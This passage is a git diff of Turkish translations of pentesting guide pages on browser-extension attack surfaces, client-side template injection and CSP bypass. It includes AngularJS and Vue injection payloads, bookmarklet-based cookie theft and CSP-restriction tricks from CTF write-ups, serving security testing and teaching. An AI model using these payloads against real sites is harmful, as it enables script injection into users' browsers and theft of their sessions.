-Tarayıcı uzantıları bu kadar **ayrıcalıklı** olabileceğinden, kötü niyetli bir uzantı veya ele geçirilmiş bir uzantı, saldırgana **hassas bilgileri çalmak ve kullanıcıyı gözetlemek için farklı yollar** sağlayabilir. +Tarayıcı uzantıları oldukça **ayrıcalıklı** olabileceğinden, kötü niyetli bir uzantı veya ele geçirilmiş bir uzantı, saldırgana **hassas bilgileri çalmak ve kullanıcıyı gözetlemek için farklı yollar** sağlayabilir. Bu ayarların nasıl çalıştığını ve nasıl kötüye kullanılabileceğini kontrol edin: @@ -264,7 +264,7 @@ browext-permissions-and-host_permissions.md Bir **içerik güvenlik politikası**, `manifest.json` içinde de tanımlanabilir. Eğer tanımlıysa, **açık bir şekilde savunmasız** olabilir. -Tarayıcı uzantısı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır: +Tarayıcı uzantı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır: ```bash script-src 'self'; object-src 'self'; ``` @@ -305,7 +305,7 @@ Kamu uzantılarında **extension-id erişilebilir**: Ancak, `manifest.json` parametresi **`use_dynamic_url`** kullanılıyorsa, bu **id dinamik olabilir**. > [!TIP] -> Burada bir sayfa belirtilse bile, **Content Security Policy** sayesinde **ClickJacking'e karşı korunmuş** olabileceğini unutmayın. Bu nedenle, bir ClickJacking saldırısının mümkün olduğunu onaylamadan önce (frame-ancestors bölümü) bunu kontrol etmeniz gerekir. +> Burada bir sayfa belirtilse bile, **Content Security Policy** sayesinde **ClickJacking'e karşı korunmuş** olabileceğini unutmayın. Bu nedenle, bir ClickJacking saldırısının mümkün olduğunu onaylamadan önce bunu (frame-ancestors bölümü) kontrol etmeniz gerekir. Bu sayfalara erişim izni verilmesi, bu sayfaları **potansiyel olarak savunmasız ClickJacking** hale getirir: @@ -314,12 +314,12 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> Bu sayfaların yalnızca uzantı tarafından yüklenmesine ve rastgele URL'ler tarafından yüklenmesine izin vermek, ClickJacking saldırılarını önleyebilir. +> Bu sayfaların yalnızca uzantı tarafından ve rastgele URL'ler tarafından yüklenmesine izin verilmesi, ClickJacking saldırılarını önleyebilir. > [!CAUTION] -> **`web_accessible_resources`** sayfalarının ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir. +> **`web_accessible_resources`** ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir. > -> Ayrıca, yalnızca **`web_accessible_resources`** içinde belirtilen sayfaları iframelerde açabileceğinizi, ancak yeni bir sekmeden uzantının ID'sini bilerek herhangi bir sayfaya erişmenin mümkün olduğunu unutmayın. Bu nedenle, aynı parametreleri kötüye kullanan bir XSS bulunursa, sayfa **`web_accessible_resources`** içinde yapılandırılmamış olsa bile kötüye kullanılabilir. +> Ayrıca, yalnızca **`web_accessible_resources`** içinde belirtilen sayfaları iframe'ler içinde açabileceğinizi, ancak yeni bir sekmeden uzantının ID'sini bilerek herhangi bir sayfaya erişmenin mümkün olduğunu unutmayın. Bu nedenle, aynı parametreleri kötüye kullanan bir XSS bulunursa, sayfa **`web_accessible_resources`** içinde yapılandırılmamış olsa bile kötüye kullanılabilir. ### `externally_connectable` @@ -338,17 +338,17 @@ browext-clickjacking.md Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** daha küçük olacağı anlamına gelir. > [!CAUTION] -> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak. +> Eğer bir web sayfası **XSS veya ele geçirme** için savunmasız olarak **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak. > > Bu nedenle, bu **çok güçlü bir atlatmadır**. > -> Dahası, eğer istemci kötü niyetli bir uzantı yüklerse, bu uzantının savunmasız uzantıyla iletişim kurmasına izin verilse bile, **izin verilen bir web sayfasında XSS verisi enjekte edebilir** veya **`WebRequest`** veya **`DeclarativeNetRequest`** API'lerini kullanarak hedef bir alandaki istekleri manipüle edebilir ve bir sayfanın **JavaScript dosyası** isteğini değiştirebilir. (Hedef sayfadaki CSP bu saldırıları engelleyebilir). Bu fikir [**bu yazıdan**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) gelmektedir. +> Dahası, eğer istemci kötü niyetli bir uzantı yüklerse, bu uzantının savunmasız uzantı ile iletişim kurmasına izin verilse bile, **izin verilen bir web sayfasında XSS verisi enjekte edebilir** veya **`WebRequest`** veya **`DeclarativeNetRequest`** API'lerini kötüye kullanarak hedef bir alandaki istekleri manipüle edebilir ve bir sayfanın **JavaScript dosyası** isteğini değiştirebilir. (Hedef sayfadaki CSP bu saldırıları engelleyebilir). Bu fikir [**bu yazıdan**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) gelmektedir. ## İletişim özeti ### Uzantı <--> Web Uygulaması -İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının da **bir Post Message göndererek web uygulamasıyla iletişim kurabileceğini** ve bu nedenle webin bunu beklemesi gerektiğini unutmayın veya sadece webin yeni bir script yüklemesini sağlayabilir. +İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** (bu nedenle webin bunu beklemesi gerektiğini) veya sadece webin yeni bir script yüklemesini sağlayabileceğini unutmayın. ### Uzantının içinde @@ -393,7 +393,7 @@ Belirli bir sekmede bulunan bir içerik betiğine arka plan betiğinden mesaj g ### İzin verilen `externally_connectable`'dan uzantıya -`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** aşağıdaki gibi istek gönderebilir: +`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** istek gönderebilir: ```javascript chrome.runtime.sendMessage(extensionId, ... ``` @@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ... ### Native Messaging -Arka plan betiklerinin sistem içindeki ikili dosyalarla iletişim kurması mümkündür; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Daha fazlası için daha sonra](#native-messaging). +Arka plan betikleri, sistem içindeki ikili dosyalarla iletişim kurabilir; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Bununla ilgili daha fazla bilgi](#native-messaging). ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -476,7 +476,7 @@ browext-xss-example.md Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** ondan bazı bilgileri okuyorsa, **web DOM'una güvenerek**, web bu veriyi **değiştirebilir** (çünkü web'e güvenilmemelidir veya web XSS'e karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**. -Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı XSS** örneğini burada bulabilirsiniz: +Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı bir XSS örneğini** burada bulabilirsiniz: {{#ref}} browext-xss-example.md @@ -525,11 +525,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) Önemli bir husus, birden fazla sayfanın `onMessage` olaylarını alacak şekilde ayarlandığı senaryolarda, **belirli bir olay için `sendResponse()`'yi yürüten ilk sayfa** yanıtı etkili bir şekilde iletebilecek tek sayfa olacaktır. Aynı olaya yönelik sonraki yanıtlar dikkate alınmayacaktır. -Yeni uzantılar oluştururken, geri çağrılar yerine vaatlerin tercih edilmesi gerekmektedir. Geri çağrıların kullanımıyla ilgili olarak, `sendResponse()` fonksiyonu yalnızca senkron bağlamda doğrudan yürütüldüğünde veya olay işleyicisi asenkron bir işlemi `true` döndürerek belirttiğinde geçerli kabul edilir. Hiçbir işleyici `true` döndürmezse veya `sendResponse()` fonksiyonu bellekten kaldırılırsa (çöp toplayıcı tarafından), `sendMessage()` fonksiyonuna bağlı geri çağrı varsayılan olarak tetiklenecektir. +Yeni uzantılar oluştururken, geri çağırmalar yerine sözleşmelere yönelmek tercih edilmelidir. Geri çağırmaların kullanımıyla ilgili olarak, `sendResponse()` fonksiyonu yalnızca senkron bağlamda doğrudan yürütüldüğünde veya olay işleyicisi asenkron bir işlemi `true` döndürerek belirttiğinde geçerli kabul edilir. Hiçbir işleyici `true` döndürmezse veya `sendResponse()` fonksiyonu bellekten kaldırılırsa (çöp toplayıcı tarafından), `sendMessage()` fonksiyonuna bağlı geri çağırma varsayılan olarak tetiklenecektir. ## Native Messaging -Tarayıcı uzantıları ayrıca **sistemdeki ikili dosyalarla stdin üzerinden iletişim kurmaya** da olanak tanır. Uygulama, bunu belirten bir json'u json formatında yüklemelidir: +Tarayıcı uzantıları, **sistemdeki ikili dosyalarla stdin üzerinden iletişim kurmaya** da olanak tanır. Uygulama, bunu belirten bir json yüklemelidir: ```json { "name": "com.my_company.my_application", @@ -541,12 +541,12 @@ Tarayıcı uzantıları ayrıca **sistemdeki ikili dosyalarla stdin üzerinden i ``` `name` değişkeni, tarayıcı uzantısının arka plan betiklerinden uygulama ile iletişim kurmak için [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) metoduna geçirilen dizedir. `path`, ikili dosyanın yoludur, yalnızca 1 geçerli `type` vardır, o da stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilecek uzantıları belirtir (wildcard olamaz). -Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yollarda arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bağlantısına bakın). +Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yolları arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bakın). > [!TIP] > Tarayıcı uzantısının bu iletişimi kullanabilmesi için `nativeMessaing` izninin de tanımlanması gerekir. -İşte bir arka plan betiği kodunun, bir yerel uygulamaya mesaj göndermesi şöyle görünür: +İşte bazı arka plan betiği kodunun yerel bir uygulamaya mesaj göndermesi şöyle görünür: ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -573,7 +573,7 @@ Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemel Elbette, **hassas bilgileri kodda bulundurmayın**, çünkü bu **kamusal** olacaktır. -Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve hassas bilgileri bulmak için anlık görüntü içinde **`CTRL+F`** ile arama yapın. +Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve hassas bilgileri bulmak için **`CTRL+F`** ile anlık görüntü içinde arama yapın. Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir. @@ -581,9 +581,9 @@ Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin ** 1. **Tarayıcı Uzantısını İndirin** ve açın 2. **`chrome://extensions/`** adresine gidin ve `Geliştirici Modu`nu **etkinleştirin** -3. **`Load unpacked`** butonuna tıklayın +3. **`Yüklenmemiş`** butonuna tıklayın -**Firefox'ta** **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Load Temporary Add-on`** butonuna tıklayın. +**Firefox'ta** **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Geçici Eklenti Yükle`** butonuna tıklayın. ## Mağazadan kaynak kodunu alma @@ -616,22 +616,22 @@ Yerel olarak yüklenmiş Chrome uzantıları da incelenebilir. İşte nasıl: 2. Profil dizinindeki `Extensions/` alt klasörüne gidin. 3. Bu klasör, genellikle okunabilir formatta kaynak kodlarıyla birlikte tüm yüklenmiş uzantıları içerir. -Uzantıları tanımlamak için, kimliklerini isimlerle eşleştirebilirsiniz: +Uzantıları tanımlamak için, kimliklerini isimlere eşleyebilirsiniz: - Her uzantının kimliklerini görmek için `about:extensions` sayfasında Geliştirici Modu'nu etkinleştirin. - Her uzantının klasöründe, `manifest.json` dosyası okunabilir bir `name` alanı içerir, bu da uzantıyı tanımlamanıza yardımcı olur. -### Bir Dosya Arşivleyici veya Açıcı kullanın +### Bir Dosya Arşivleyici veya Açıcı Kullanın Chrome Web Store'a gidin ve uzantıyı indirin. Dosya `.crx` uzantısına sahip olacaktır. Dosya uzantısını `.crx`'den `.zip`'e değiştirin. ZIP dosyasının içeriğini çıkarmak için herhangi bir dosya arşivleyici (WinRAR, 7-Zip vb.) kullanın. -### Chrome'da Geliştirici Modunu kullanın +### Chrome'da Geliştirici Modunu Kullanın -Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modu"nu etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır. +Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modunu" etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır. ## Chrome uzantı manifest veri seti -Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaing` iznine sahip uzantıları kontrol etmek için: +Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) adresini kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaing` iznine sahip uzantıları kontrol etmek için: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" @@ -648,13 +648,13 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da, - [ ] **`web_accessible_resources`**'ı mümkün olduğunca **sınırlayın**, mümkünse boş bırakın. - [ ] Eğer **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin - [ ] Eğer herhangi bir **iletişim** uzantıdan **web sayfasına** oluyorsa, iletişimde oluşan [**XSS**](browext-xss-example.md) **zayıflıklarını** kontrol edin. -- [ ] Eğer Post Mesajları kullanılıyorsa, [**Post Mesajı zayıflıkları**](../postmessage-vulnerabilities/)** için kontrol edin.** -- [ ] Eğer **Content Script DOM detaylarına erişiyorsa**, web tarafından **değiştirilirse** bir XSS **girişine neden olmadıklarını** kontrol edin +- [ ] Eğer Post Mesajları kullanılıyorsa, [**Post Message zayıflıkları**](../postmessage-vulnerabilities/index.html)** için kontrol edin.** +- [ ] Eğer **Content Script DOM detaylarına erişiyorsa**, web tarafından **değiştirilirse XSS** **girişine neden olmadıklarını** kontrol edin - [ ] Bu iletişimin **Content Script -> Arka plan betiği iletişimi** ile de ilgili olduğuna özel bir vurgu yapın -- [ ] Eğer arka plan betiği **native messaging** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temizlendiğini kontrol edin -- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde **saklanmamalıdır** -- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde **saklanmamalıdır** -- [ ] **Hassas bilgiler** **dosya sisteminde korunmasız** olarak **saklanmamalıdır** +- [ ] Eğer arka plan betiği **native messaging** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temiz olduğundan emin olun +- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde saklanmamalıdır +- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde saklanmamalıdır +- [ ] **Hassas bilgiler** **dosya sisteminde korumasız** saklanmamalıdır ## Tarayıcı Uzantısı Riskleri @@ -678,14 +678,14 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da, - Uyarılan dosyanın yolu. - Uyarılan dosyanın tam Chrome uzantısı URI'si. - Dosyanın türü, örneğin Arka Plan Sayfası betiği, İçerik Betiği, Tarayıcı Eylemi vb. -- Eğer zayıf satır bir JavaScript dosyasındaysa, dahil edildiği tüm sayfaların yolları ile birlikte bu sayfaların türü ve [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) durumu. -- **İçerik Güvenlik Politikası (CSP) analizörü ve atlatma kontrolörü**: Bu, uzantınızın CSP'sindeki zayıflıkları belirtecek ve beyaz listeye alınmış CDN'ler gibi CSP'nizi atlatmanın potansiyel yollarını aydınlatacaktır. +- Eğer zayıf satır bir JavaScript dosyasındaysa, dahil edildiği tüm sayfaların yolları ile bu sayfaların türü ve [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) durumu. +- **İçerik Güvenlik Politikası (CSP) analizörü ve atlatma kontrolörü**: Bu, uzantınızın CSP'sindeki zayıflıkları belirtecek ve beyaz listeye alınmış CDN'ler vb. nedeniyle CSP'nizi atlatmanın potansiyel yollarını aydınlatacaktır. - **Bilinen Zayıf Kütüphaneler**: Bu, bilinen zayıf JavaScript kütüphanelerinin herhangi bir kullanımını kontrol etmek için [Retire.js](https://retirejs.github.io/retire.js/) kullanır. - Uzantıyı ve biçimlendirilmiş versiyonlarını indirin. - Orijinal uzantıyı indirin. - Uzantının güzelleştirilmiş bir versiyonunu indirin (otomatik olarak düzenlenmiş HTML ve JavaScript). - Tarama sonuçlarının otomatik önbelleğe alınması, bir uzantı taraması çalıştırmak ilk kez çalıştırdığınızda iyi bir zaman alacaktır. Ancak ikinci kez, uzantı güncellenmemişse, sonuçların önbelleğe alınması nedeniyle neredeyse anında olacaktır. -- Bağlantı verilebilir Rapor URL'leri, başkalarına tarnish tarafından üretilen bir uzantı raporuna kolayca bağlantı vermenizi sağlar. +- Bağlantılı Rapor URL'leri, başkalarına tarnish tarafından üretilen bir uzantı raporuna kolayca bağlantı vermek için. ### [Neto](https://github.com/elevenpaths/neto) @@ -693,7 +693,7 @@ Neto Projesi, Firefox ve Chrome gibi tanınmış tarayıcılar için tarayıcı ## Referanslar -- **Bu metodoloji için yardımları için** [**@naivenom**](https://twitter.com/naivenom)'a **teşekkürler** +- **Bu metodoloji için yardımları için** [**@naivenom**](https://twitter.com/naivenom)'a teşekkürler - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) - [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) - [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 4f3c65375..d43c6c6d3 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,9 +4,9 @@ ## Özet -Bu, **Server Side Template Injection** ile benzerlik gösterir ancak **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir. +Bu, **Sunucu Tarafı Şablon Enjeksiyonu** ([**Server Side Template Injection**](ssti-server-side-template-injection/index.html)) gibidir, ancak **istemci** tarafında. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir. -Bu zafiyeti **test etmek**, **SSTI** durumundaki gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **zayıfsa** `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz. +Bu güvenlik açığını **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **açık** ise `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz. ## AngularJS @@ -21,13 +21,13 @@ Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak
``` -Çatışmanın çok **temel çevrimiçi örneğini** **AngularJS**'de [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz. +Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz. -> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `` gibi bir yük çalışmalıdır. +> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `` gibi bir yük çalışmalıdır. ## VueJS -**Zayıf bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh/) adresinde bulabilirsiniz.\ +**Zayıf bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) adresinde bulabilirsiniz.\ Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) @@ -35,7 +35,7 @@ Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-s ">
aaa
``` -VUE'deki CSTI hakkında gerçekten iyi bir yazı [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) adresinde bulunabilir. +CSTI ile ilgili gerçekten iyi bir yazı VUE'de [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) bulunabilir. ### **V3** ``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 10681a0f3..58192e75a 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,10 +1,10 @@ -# İçerik Güvenlik Politikası (CSP) Bypass +# İçerik Güvenlik Politikası (CSP) Atlatma {{#include ../../banners/hacktricks-training.md}} ## CSP Nedir -İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir. +İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir. CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller. @@ -43,7 +43,7 @@ object-src 'none'; - **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler. - **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir. - **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar. -- **frame-src**: Çerçeveler için URL'leri kısıtlar. +- **frame-src**: çerçeveler için URL'leri kısıtlar. - **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, ``, ` // The bot will load an URL with the payload @@ -540,15 +540,15 @@ console.log(prefix) run() ``` -### Yer İmleri Aracılığıyla +### Via Bookmarklets Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır. Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP'yi Kısıtlayarak Atlamak +### CSP'yi kısıtlayarak CSP atlatma -[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlanmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. +[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**: ```html @@ -556,8 +556,8 @@ Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**: src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\ -CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlayarak ve belirli inline script'leri sha ile etkinleştirerek **kaldırılabilir.** +[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** aracılığıyla **CSP'yi** daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\ +CSP, 